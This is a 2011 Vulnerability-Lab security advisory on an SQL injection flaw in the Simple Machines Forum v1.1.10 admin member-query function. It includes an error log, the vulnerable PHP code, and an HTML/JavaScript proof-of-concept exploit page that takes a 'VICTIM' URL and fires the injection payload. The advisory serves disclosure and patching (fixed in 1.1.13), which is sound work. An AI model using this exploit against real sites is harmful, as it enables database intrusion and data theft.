Document Title:
===============
Simple Machine Forum v1.1.10 - Multiple Web Vulnerabilities
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=118
Release Date:
=============
2011-07-20
Vulnerability Laboratory ID (VL-ID):
====================================
118
Common Vulnerability Scoring System:
====================================
6.5
Product & Service Introduction:
===============================
Simple Machines Forum — SMF in short — is a free, professional grade software package that allows you to set up
your own online community within minutes. Its powerful custom made template engine puts you in full control of the
lay-out of your message board and with our unique SSI - or Server Side Includes - function you can let your forum
and your website interact with each other.
SMF is written in the popular language PHP and uses a MySQL database. It is designed to provide you with all the
features you need from a bulletin board while having an absolute minimal impact on the resources of the server.
SMF is the next generation of forum software - and best of all it is and will always remain completely free!
(Copy of the Vendor Homepage: www.simplemachines.org)
Abstract Advisory Information:
==============================
Vulnerability-Lab Team discovered multiple web vulnerabilities on SimpleMaschineForum (SMF v1.1.10).
Vulnerability Disclosure Timeline:
==================================
2011-07-21: Public or Non-Public Disclosure
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
A Sql-Injection vulnerability is detected in the SimpleMaschineForum (SMF v1.1.10).
The vulnerability allows an attacker (remote) with privileged user account to inject/execute own sql commands on the affected dbms.
The vulnerability is located in the control panel with the bound vulnerable param value.
Vulnerable Module(s):
[+] ?params=x
--- SQL Error Logs ---
error: managemembers.php
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right
syntax to use near ×Mý at line 3 File: /home/cms/public_html/cms/smf/Sources/ManageMembers.php Line: 454
// Calculate the number of results.
if (empty($where) or $where == 1 )
$num_members = $modSettings[ totalMembers ];
else
{
$request = db_query(
SELECT COUNT(*)
FROM {$db_prefix}members
WHERE $where , __FILE__, __LINE__);
list ($num_members) = mysql_fetch_row($request);
Proof of Concept (PoC):
=======================
The Vulnerabilities can be exploited by remote attackers. For demonstration or reproduce ...
Path: /smf/
File: index.php
Parm: ?action=viewmembers;sa=query;params=[SQL]
<html><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-9">
<title>SMF v1.1.9 => SQL-Injection Exploit</title>
<script language="JavaScript">
var path="/smf/"
var adres="index.php"
var acik ="?action=viewmembers;sa=query;params=-1%27"
var sql = "-1'****"
function command(){
if (document.rfi.target1.value==""){
alert("Failed..");
return false;
}
rfi.action= document.rfi.target1.value+path+adres+acik+sql;
rfi.submit();
}
//=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
// SMF v1.1.10+ => Remote SQL-Injection Exploit
//=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
// ~ReM0ve
//=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
</script></head><body bgcolor="#000000" link="#990000">
<center><p align="center"><b><font face="Verdana" size="2" color="#006633">SMF v1.1.9 Remote SQL-Injection Exploit</font></b></p>
<form method="post" target="getting" name="rfi" onSubmit="command();"><div align="left"><p><b><font face="Arial" size="2" color="#006633">
VICTIM:</font></b><input type="text" name="target1" size="53" style="background-color: #006633" onMouseOver="javascript:this.style.background=
'#808080';" onMouseOut="javascript:this.style.background='#808000';"></p><p><b><font face="Arial" size="2" color="#006633">EXAMPLE:</font>
<font face="Arial" size="2" color="#808080"> HTTP://GLOBAL-EVOLUTION.EU/[SCRIPT-PATH]/</font></b></p></div><p align="left">
<input type="submit" value="Execute INPUT" name="B1"></p><p align="left"><input type="reset" value="Clear ALL" name="B2"></p></form><p><br>
<iframe name="getting" height="337" width="800" scrolling="yes" frameborder="0"></iframe></p><div align="left"> <p align="center"><b>
<font face="Verdana" size="2" color="#008000">GLOBAL-EVOLUTION SECURITY <a href="mailto:[email protected]">~remove</a></font></b></p>
</div></center></body></html>
Solution - Fix & Patch:
=======================
FIXED - SMF v1.1.13
Security Risk:
==============
The security risk of the remote sql vulnerability is estimated as high(-).
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected])
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register
Contact: [email protected] - [email protected] - [email protected]
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
modify, use or edit our material contact ([email protected] or [email protected]) to get a permission.
Copyright © 2012 | Vulnerability Laboratory
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation